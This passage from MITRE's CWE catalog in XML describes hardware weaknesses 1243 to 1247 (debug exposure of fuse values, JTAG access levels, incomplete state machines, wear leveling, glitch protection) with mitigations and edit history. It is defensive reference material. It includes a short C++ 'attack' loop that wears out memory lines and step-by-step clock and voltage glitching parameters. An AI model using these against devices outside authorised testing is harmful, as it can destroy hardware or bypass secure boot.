                <Reference External_Reference_ID="REF-1075"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-13</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            </Content_History>
        </Weakness>
      <Weakness ID="1243" Name="Sensitive Non-Volatile Information Not Protected During Debug" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>Access to security-sensitive information stored in fuses is not limited during debug.</Description>
            <Extended_Description>
                <xhtml:p>Several security-sensitive values are programmed into fuses to be used during early-boot flows or later at runtime. Examples of these security-sensitive values include root keys, encryption keys, manufacturing-specific information, chip-manufacturer-specific information, and original-equipment-manufacturer (OEM) data. After the chip is powered on, these values are sensed from fuses and stored in temporary locations such as registers and local memories. These locations are typically access-control protected from untrusted agents capable of accessing them. Even to trusted agents, only read-access is provided. However, these locations are not blocked during debug operations, allowing a user to access this sensitive information.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1263" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>Modify Memory</Impact>
                    <Impact>Bypass Protection Mechanism</Impact>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
                    <Description>
                        <xhtml:p>Disable access to security-sensitive information stored in fuses directly and also reflected from  temporary storage locations when in debug mode.</xhtml:p>
                    </Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Sensitive manufacturing data (such as die information) are stored in fuses. When the chip powers on, these values are read from the fuses and stored in microarchitectural registers. These registers are only given read access to trusted software running on the core. Untrusted software running on the core is not allowed to access these registers.</Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:div>All microarchitectural registers in this chip can be accessed through the debug interface. As a result, even an untrusted debugger can access this data and retrieve sensitive manufacturing data.</xhtml:div>
                    </Example_Code>
                	<Example_Code Nature="Good">
                  		<xhtml:div>Registers used to store sensitive values read from fuses should be blocked during debug. These registers should be disconnected from the debug interface.</xhtml:div>
               		</Example_Code>
            	</Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="116"/>
            <Related_Attack_Pattern CAPEC_ID="545"/>
         </Related_Attack_Patterns>
         <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-12</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Exposure of Security-Sensitive Fuse Values During Debug</Previous_Entry_Name>
            </Content_History>
        </Weakness>
      <Weakness ID="1244" Name="Internal Asset Exposed to Unsafe Debug Access Level or State" Abstraction="Base" Structure="Simple" Status="Stable">

        <Description>The product uses physical debug or test
        interfaces with support for multiple access levels, but it
        assigns the wrong debug access level to an internal asset,
        providing unintended access to the asset from untrusted debug
        agents.</Description>

        <Extended_Description>
	  <xhtml:p>Debug authorization can have multiple levels of
	  access, defined such that different system internal assets
	  are accessible based on the current authorized debug
	  level. Other than debugger authentication (e.g., using
	  passwords or challenges), the authorization can also be
	  based on the system state or boot stage. For example, full
	  system debug access might only be allowed early in boot
	  after a system reset to ensure that previous session data is
	  not accessible to the authenticated debugger.</xhtml:p>

          <xhtml:p>If this protection mechanism does not ensure that
          internal assets have the correct debug access level during
          each boot stage or change in system state, an attacker could
          obtain sensitive information from the internal asset using a
          debugger.</xhtml:p>
        </Extended_Description>
	<Related_Weaknesses>
	  <Related_Weakness Nature="ChildOf" CWE_ID="863" View_ID="1000" Ordinal="Primary"/>
	</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Impact>Read Memory</Impact>
                </Consequence>
                <Consequence>
                    <Scope>Integrity</Scope>
                    <Impact>Modify Memory</Impact>
                </Consequence>
                <Consequence>
                    <Scope>Authorization</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>Gain Privileges or Assume Identity</Impact>
                    <Impact>Bypass Protection Mechanism</Impact>
                </Consequence>
            </Common_Consequences>
	    <Detection_Methods>
	      <Detection_Method>
		<Method>Manual Analysis</Method>
		<Description>Check 2 devices for their passcode to authenticate access to JTAG/debugging ports. If the passcodes are missing or the same, update the design to fix and retest. Check communications over JTAG/debugging ports for encryption. If the communications are not encrypted, fix the design and retest.</Description>
		<Effectiveness>Moderate</Effectiveness>
	      </Detection_Method>
	    </Detection_Methods>
            <Potential_Mitigations>
                <Mitigation>
                  <Phase>Architecture and Design</Phase>
                  <Phase>Implementation</Phase>
                  <Description>
                    <xhtml:p>For security-sensitive assets accessible over debug/test interfaces, only allow trusted agents.</xhtml:p>
                  </Description>
		  <Effectiveness>High</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Description>Apply blinding [REF-1219] or masking techniques in strategic areas.</Description>
		  <Effectiveness>Limited</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Implementation</Phase>
		  <Description>Add shielding or tamper-resistant protections to the device, which increases the difficulty and cost for accessing debug/test interfaces.</Description>
		  <Effectiveness>Limited</Effectiveness>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>The JTAG interface is used to perform debugging and provide CPU core access for developers. JTAG-access protection is implemented as part of the JTAG_SHIELD bit in the hw_digctl_ctrl register. This register has no default value at power up and is set only after the system boots from ROM and control is transferred to the user software.</Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:table>
                            <xhtml:tbody>
                                <xhtml:tr>
                                    <xhtml:td>1 bit</xhtml:td>
                                    <xhtml:td>0x0 = JTAG debugger is enabled (default)</xhtml:td>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>JTAG_SHIELD</xhtml:td>
                                    <xhtml:td>0x1 = JTAG debugger is disabled</xhtml:td>
                                </xhtml:tr>
                            </xhtml:tbody>
                        </xhtml:table>
                    </Example_Code>
                    <Body_Text>This means that since the end user has access to JTAG at system reset and during ROM code execution before control is transferred to user software, a JTAG user can modify the boot flow and subsequently disclose all CPU information, including data-encryption keys.</Body_Text>
                	<Example_Code Nature="Informative">
                  		<xhtml:div>The default value of this register bit should be set to 1 to prevent the JTAG from being enabled at system reset.</xhtml:div>
               		</Example_Code> 
            	</Demonstrative_Example>
            </Demonstrative_Examples>
            <Observed_Examples>
            	<Observed_Example>
               		<Reference>CVE-2019-18827</Reference>
               		<Description>After ROM code execution, JTAG access is disabled. But before the ROM code is executed, JTAG access is possible, allowing a user full system access.  This allows a user to modify the boot flow and successfully bypass the secure-boot process.</Description>
               		<Link>https://www.cve.org/CVERecord?id=CVE-2019-18827</Link>
           		 </Observed_Example>
           	</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="114"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1056"/>
                <Reference External_Reference_ID="REF-1057"/>
                <Reference External_Reference_ID="REF-1219"/>
            </References>
      <Notes>
	<Note Type="Relationship">
	  CWE-1191 and CWE-1244 both involve physical debug access,
	  but the weaknesses are different. CWE-1191 is effectively
	  about missing authorization for a debug interface,
	  i.e. JTAG.  CWE-1244 is about providing internal assets with
	  the wrong debug access level, exposing the asset to
	  untrusted debug agents.</Note>
      </Notes>
            <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-12</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Name, Observed_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
	    <Contribution Type="Content">
	      <Contribution_Name>Hareesh Khattri</Contribution_Name>
	      <Contribution_Organization>Intel Corporation</Contribution_Organization>
	      <Contribution_Date>2021-10-22</Contribution_Date>
	      <Contribution_Comment>clarified differences between CWE-1191 and CWE-1244, and suggested rephrasing of descriptions and names.</Contribution_Comment>
	    </Contribution>
			<Previous_Entry_Name Date="2020-08-20">Improper Authorization on Physical Debug and Test Interfaces</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-10-28">Improper Access to Sensitive Information Using Debug and Test Interfaces</Previous_Entry_Name>
            </Content_History>
        </Weakness>
      <Weakness ID="1245" Name="Improper Finite State Machines (FSMs) in Hardware Logic" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system.</Description>
            <Extended_Description>
                <xhtml:p>The functionality and security of the system heavily depend on the implementation of FSMs. FSMs can be used to indicate the current security state of the system. Lots of secure data operations and data transfers rely on the state reported by the FSM. Faulty FSM designs that do not account for all states, either through undefined states (left as don't cares) or through incorrect implementation, might lead an attacker to drive the system into an unstable state from which the system cannot recover without a reset, thus causing a DoS. Depending on what the FSM is used for, an attacker might also gain additional privileges to launch further attacks and compromise the security guarantees.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="684" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Availability</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>Unexpected State</Impact>
                    <Impact>DoS: Crash, Exit, or Restart</Impact>
                    <Impact>DoS: Instability</Impact>
                    <Impact>Gain Privileges or Assume Identity</Impact>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
                    <Description>Define all possible states and handle all unused states through default statements. Ensure that system defaults to a secure state.</Description>
                    <Effectiveness>High</Effectiveness>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example Demonstrative_Example_ID="DX-152">
                    <Intro_Text>The Finite State Machine (FSM) shown in the "bad" code snippet below assigns the output ("out") based on the value of state, which is determined based on the user provided input ("user_input").</Intro_Text>
					<Example_Code Nature="Bad" Language="Verilog">
					  <xhtml:div>module fsm_1(out, user_input, clk, rst_n);
					  <xhtml:br/>input [2:0] user_input; 
					  <xhtml:br/>input clk, rst_n;
					  <xhtml:br/>output reg [2:0] out;
					  <xhtml:br/>reg [1:0] state;
					  <xhtml:br/>always @ (posedge clk or negedge rst_n )
					  <xhtml:br/>
					  <xhtml:div style="margin-left:1em;">begin
					  <xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
						if (!rst_n)<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
						  state = 3'h0;
						</xhtml:div>
						else<xhtml:br/>
						case (user_input)
						<xhtml:div style="margin-left:1em;">
						  3'h0:<xhtml:br/>
						  3'h1:<xhtml:br/>
						  3'h2:<xhtml:br/>
						  3'h3: state = 2'h3;<xhtml:br/>
						  3'h4: state = 2'h2;<xhtml:br/>
						  3'h5: state = 2'h1;<xhtml:br/>
						</xhtml:div>
						endcase
					  </xhtml:div>
					  end<xhtml:br/>
					  out &lt;= {1'h1, state};<xhtml:br/>
					  </xhtml:div>
					  endmodule
					  </xhtml:div>
					</Example_Code>
					<Body_Text>
					  <xhtml:p>The case statement does not include a default to handle the scenario when the user provides inputs of 3'h6 and 3'h7.  Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.</xhtml:p>
					  <xhtml:p>Adding a default statement to handle undefined inputs mitigates this issue.  This is shown in the "Good" code snippet below.  The default statement is in bold.</xhtml:p>
					</Body_Text>
					<Example_Code Nature="Good" Language="Verilog">
					  <xhtml:div>case (user_input)
					  <xhtml:br/><xhtml:div style="margin-left:1em;">3'h0:
					  <xhtml:br/>3'h1:
					  <xhtml:br/>3'h2:
					  <xhtml:br/>3'h3: state = 2'h3;
					  <xhtml:br/>3'h4: state = 2'h2;
					  <xhtml:br/>3'h5: state = 2'h1;
					  <xhtml:br/><xhtml:b>default: state = 2'h0;</xhtml:b>
					</xhtml:div>
					  endcase</xhtml:div>
					</Example_Code>
            	</Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="74"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1060"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>The Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-12</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1246" Name="Improper Write Handling in Limited-write Non-Volatile Memories" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The product does not implement or incorrectly implements wear leveling operations in limited-write non-volatile memories.</Description>
            <Extended_Description>
                <xhtml:p>Non-volatile memories such as NAND Flash, EEPROM, etc. have individually erasable segments, each of which can be put through a limited number of program/erase or write cycles. For example, the device can only endure a limited number of writes, after which the device becomes unreliable. In order to wear out the cells in a uniform manner, non-volatile memory and storage products based on the above-mentioned technologies implement a technique called wear leveling. Once a set threshold is reached, wear leveling maps writes of a logical block to a different physical block. This prevents a single physical block from prematurely failing due to a high concentration of writes. If wear leveling is improperly implemented, attackers may be able to programmatically cause the storage to become unreliable within a much shorter time than would normally be expected.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="400" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
								<Technology Name="Memory Hardware" Prevalence="Undetermined"/>
								<Technology Name="Storage Hardware" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Availability</Scope>
                    <Impact>DoS: Instability</Impact>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
					<Phase>Testing</Phase>
                    <Description>
                        Include secure wear leveling algorithms and ensure they may not be bypassed.                     
                    </Description>
					<Effectiveness>High</Effectiveness>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>An attacker can render a memory line unusable by repeatedly causing a write to the memory line.</Intro_Text>
                    <Body_Text>Below is example code from [REF-1058] that the user can execute repeatedly to cause line failure. W is the maximum associativity of any cache in the system; S is the size of the largest cache in the system.</Body_Text>
                    <Example_Code Nature="Attack" Language="C++">
					// Do aligned alloc of (W+1) arrays each of size S<xhtml:br/>
					while(1) {<xhtml:br/>
					<xhtml:div style="margin-left:1em;">
					  for (ii = 0; ii &lt; W + 1; ii++)<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    array[ii].element[0]++;<xhtml:br/>
					  </xhtml:div>
					</xhtml:div>
					}
               </Example_Code>
                    <Body_Text>Without wear leveling, the above attack will be successful. Simple randomization of blocks will not suffice as instead of the original physical block, the randomized physical block will be worn out.</Body_Text>
                	<Example_Code Nature="Good">
                  		<xhtml:div>Wear leveling must be used to even out writes to the device.</xhtml:div>
               		</Example_Code>
            	</Demonstrative_Example>
            </Demonstrative_Examples>
	 <Taxonomy_Mappings>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SD-4</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SI-1</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SVV-3</Entry_Name>
	   </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="212"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1058"/>
                <Reference External_Reference_ID="REF-1059"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-10</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            </Content_History>
        </Weakness>
      <Weakness ID="1247" Name="Improper Protection Against Voltage and Clock Glitches" Abstraction="Base" Structure="Simple" Status="Stable">
      <Description>The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device.</Description>
      <Extended_Description>
        <xhtml:p>A device might support features such as secure boot which are supplemented with hardware and firmware support. This involves establishing a chain of trust, starting with an immutable root of trust by checking the signature of the next stage (culminating with the OS and runtime software) against a golden value before transferring control. The intermediate stages typically set up the system in a secure state by configuring several access control settings. Similarly, security logic for exercising a debug or testing interface may be implemented in hardware, firmware, or both. A device needs to guard against fault attacks such as voltage glitches and clock glitches that an attacker may employ in an attempt to compromise the system.</xhtml:p>
      </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1384" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
      <Applicable_Platforms>
        <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
        <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
        <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
        <Technology Class="ICS/OT" Prevalence="Undetermined"/>
        <Technology Class="System on Chip" Prevalence="Undetermined"/>
				<Technology Name="Power Management Hardware" Prevalence="Undetermined"/>
				<Technology Name="Clock/Counter Hardware" Prevalence="Undetermined"/>
				<Technology Name="Sensor Hardware" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Modes_Of_Introduction>
        <Introduction>
          <Phase>Operation</Phase>
        </Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
        <Consequence>
          <Scope>Confidentiality</Scope>
          <Scope>Integrity</Scope>
          <Scope>Availability</Scope>
          <Scope>Access Control</Scope>
          <Impact>Gain Privileges or Assume Identity</Impact>
          <Impact>Bypass Protection Mechanism</Impact>
          <Impact>Read Memory</Impact>
          <Impact>Modify Memory</Impact>
          <Impact>Execute Unauthorized Code or Commands</Impact>
        </Consequence>
      </Common_Consequences>
	  <Detection_Methods>
		<Detection_Method>
		  <Method>Manual Analysis</Method>
		  <Description>
			
			<xhtml:p>Put the processor in an infinite
			loop, which is then followed by instructions
			that should not ever be executed, since the
			loop is not expected to exit.  After the loop,
			toggle an I/O bit (for oscilloscope monitoring
			purposes), print a console message, and
			reenter the loop.  Note that to ensure that
			the loop exit is actually captured, many NOP
			instructions should be coded after the loop
			branch instruction and before the I/O bit
			toggle and the print statement.</xhtml:p>

			<xhtml:p>Margining the clock consists of varying the clock
			frequency until an anomaly occurs. This could be a
			continuous frequency change or it could be a single
			cycle. The single cycle method is described here. For
			every 1000th clock pulse, the clock cycle is shortened by
			10 percent. If no effect is observed, the width is
			shortened by 20%. This process is continued in 10%
			increments up to and including 50%. Note that the cycle
			time may be increased as well, down to seconds per
			cycle.</xhtml:p>

			<xhtml:p>Separately, the voltage is margined. Note that
			the voltage could be increased or decreased. Increasing
			the voltage has limits, as the circuitry may not be able
			to withstand a drastically increased voltage. This process
			starts with a 5% reduction of the DC supply to the CPU
			chip for 5 millisecond repeated at 1KHz. If this has no
			effect, the process is repeated, but a 10% reduction is
			used. This process is repeated at 10% increments down to a
			50% reduction. If no effects are observed at 5
			millisecond, the whole process is repeated using a 10
			millisecond pulse. If no effects are observed, the process
			is repeated in 10 millisecond increments out to 100
			millisecond pulses.</xhtml:p>

			<xhtml:p>While these are suggested starting points for
			testing circuitry for weaknesses, the limits may need to
			be pushed further at the risk of device damage. See
			[REF-1217] for descriptions of Smart Card attacks against
			a clock (section 14.6.2) and using a voltage glitch
			(section 15.5.3).</xhtml:p>
		  </Description>
		  <Effectiveness>Moderate</Effectiveness>
		</Detection_Method>
		<Detection_Method>
		  <Method>Dynamic Analysis with Manual Results Interpretation</Method>
		  <Description>
		    During the implementation phase where actual hardware is available, specialized hardware tools and apparatus such as ChipWhisperer may be used to check if the platform is indeed susceptible to voltage and clock glitching attacks.
		  </Description>
		</Detection_Method>
		<Detection_Method>
